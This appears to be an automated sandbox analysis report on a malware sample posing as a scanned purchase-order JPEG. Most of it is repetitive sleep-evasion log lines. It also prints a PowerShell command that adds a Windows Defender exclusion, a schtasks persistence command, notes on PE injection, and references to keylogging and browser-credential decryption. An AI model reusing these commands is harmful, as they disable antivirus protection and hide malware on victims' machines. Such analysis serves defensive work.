Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -597374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -597136s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -597030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -596878s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -596753s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -596593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -596468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -596345s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -596015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -595906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -595796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -595468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -595359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -595249s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -595140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -594921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -594812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -594703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -594593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -594481s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -594374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -594265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe TID: 7336	Thread sleep time: -594155s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7324	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7552	Thread sleep count: 1879 > 30
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -599875s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7552	Thread sleep count: 7978 > 30
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -599765s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -599655s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -599546s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -599437s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -599327s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -599218s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -599109s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -599000s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -598890s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -598781s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -598671s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -598562s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -598375s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -598265s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -598155s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -597984s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -597858s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -597749s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -597640s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -597531s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -597421s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -597312s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -597203s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -597093s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -596984s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -596875s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -596765s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -596656s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -596546s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -596437s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -596325s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -596218s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -596109s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -595999s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -595889s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -595781s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -595671s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -595561s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -595452s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -595343s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -595234s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -595124s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -595015s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -594906s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -594796s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -594687s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -594578s >= -30000s
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe TID: 7548	Thread sleep time: -594468s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599883	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599213	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598889	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598422	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598312	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598170	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 598062	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597718	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597609	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597477	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597136	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 597030	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596878	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596753	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596593	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596345	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595796	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595249	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594921	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594593	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594481	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594374	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594265	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Thread delayed: delay time: 594155	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599765
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599655
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599546
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599327
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599218
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599109
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 599000
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598890
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598781
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598671
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598562
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598375
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598265
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 598155
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597984
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597858
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597749
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597640
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597531
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597421
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597312
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597203
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 597093
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596984
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596875
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596765
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596656
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596546
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596437
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596325
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596218
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 596109
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595999
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595889
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595781
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595671
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595561
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595452
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595343
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595234
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595124
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 595015
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 594906
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 594796
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 594687
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 594578
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Thread delayed: delay time: 594468

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000000.00000002.1731934591.00000000014C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}h`N
Source: HJnkiZjAPsec.exe, 00000008.00000002.1777024069.0000000001062000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: HJnkiZjAPsec.exe, 0000000B.00000002.4129499108.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllM
Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe, 00000006.00000002.4129429491.0000000000E06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll'

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Code function: 6_2_06919328 LdrInitializeThunk,LdrInitializeThunk,

6_2_06919328

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, COVID19.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4d76750.3.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe"
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe"			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Memory written: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process created: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe "C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe"	Jump to behavior
